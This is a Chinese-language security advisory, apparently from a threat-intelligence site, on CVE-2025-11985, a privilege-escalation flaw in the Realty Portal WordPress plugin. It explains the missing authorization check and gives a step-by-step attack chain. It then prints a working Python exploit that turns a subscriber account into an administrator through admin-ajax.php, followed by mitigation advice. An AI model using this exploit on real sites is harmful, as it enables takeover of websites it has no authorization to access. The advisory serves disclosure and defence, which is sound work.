IPBUF安全漏洞报告
English
CVE-2025-11985 CVSS 8.8 高危

CVE-2025-11985 WordPress Realty Portal插件权限提升漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-11985
漏洞类型
权限提升
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Realty Portal WordPress插件

相关标签

权限提升WordPress插件漏洞CVE-2025-11985Realty Portal缺失授权检查配置修改高危漏洞AJAX接口漏洞

漏洞概述

Realty Portal是WordPress平台上一个流行的房地产门户插件,用于管理房产列表和用户交互。该插件在0.1至0.4.1版本中存在严重的权限提升漏洞,源于函数rp_save_property_settings缺少WordPress capability检查。漏洞允许任何已认证用户(即使是最低权限的Subscriber级别)修改WordPress站点的任意选项。这使得攻击者可以通过修改默认用户注册角色为管理员,并启用用户注册功能,从而在目标站点上创建具有完整管理员权限的新用户账户。成功利用此漏洞可导致完整的站点接管,攻击者可以安装恶意插件、修改内容或窃取敏感数据。由于WordPress在全球数百万网站中使用,此漏洞影响范围广泛,对使用该插件的网站构成严重安全威胁。

技术细节

漏洞的核心问题在于Realty Portal插件的ajax-save-property-setting.php文件中的rp_save_property_settings函数。该函数直接处理用户提交的设置数据,但未调用current_user_can()进行权限验证。在WordPress权限模型中,修改站点选项通常需要manage_options权限,但该函数允许任何已认证用户(包括Subscriber角色)执行。攻击者可以通过发送AJAX请求到WordPress的admin-ajax.php端点,构造特定的POST数据来调用该函数。关键参数包括设置目标选项名称和新的选项值。攻击者通常会将default_role选项修改为administrator,并将users_can_register选项设置为1。插件在处理请求时直接使用update_option函数更新数据库,绕过了WordPress的安全机制。这种直接操作核心选项的能力使得低权限用户能够提升自己的权限等级。

攻击链分析

STEP 1
步骤1
攻击者获取目标WordPress站点的低权限账户(如Subscriber角色)
STEP 2
步骤2
攻击者构造恶意AJAX请求,发送到wp-admin/admin-ajax.php端点,调用rp_save_property_settings函数
STEP 3
步骤3
通过rp_settings[default_role]参数将default_role选项值修改为administrator
STEP 4
步骤4
通过rp_settings[users_can_register]参数启用站点的用户注册功能
STEP 5
步骤5
利用插件漏洞直接调用update_option函数,绕过WordPress权限检查机制
STEP 6
步骤6
攻击者通过注册页面创建新用户账户,该账户自动获得管理员权限
STEP 7
步骤7
使用新创建的管理员账户登录后台,安装恶意插件或修改站点内容,完成站点完全接管

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # Target WordPress site with vulnerable Realty Portal plugin target_url = "http://target-wordpress-site.com" # Login as low-privilege user (subscriber) session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": "attacker_username", "pwd": "attacker_password", "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Exploit: Modify default role to administrator ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { "action": "rp_save_property_settings", "rp_settings[default_role]": "administrator", "rp_settings[users_can_register]": "1" } response = session.post(ajax_url, data=exploit_data) # Register new admin user register_url = f"{target_url}/wp-login.php?action=register" register_data = { "user_login": "new_admin_pwned", "user_email": "[email protected]", "wp-submit": "Register New Site" } register_response = session.post(register_url, data=register_data) print("Privilege Escalation Completed - New Admin Account Created")

影响范围

Realty Portal < 0.4.2

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 临时禁用Realty Portal插件;2) 禁用用户注册功能(设置users_can_register为0);3) 将default_role改回subscriber或contributor;4) 使用安全插件限制低权限用户访问admin-ajax.php;5) 监控wp_options表中default_role和users_can_register的值变化;6) 限制注册用户的角色权限,避免授予高权限角色。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表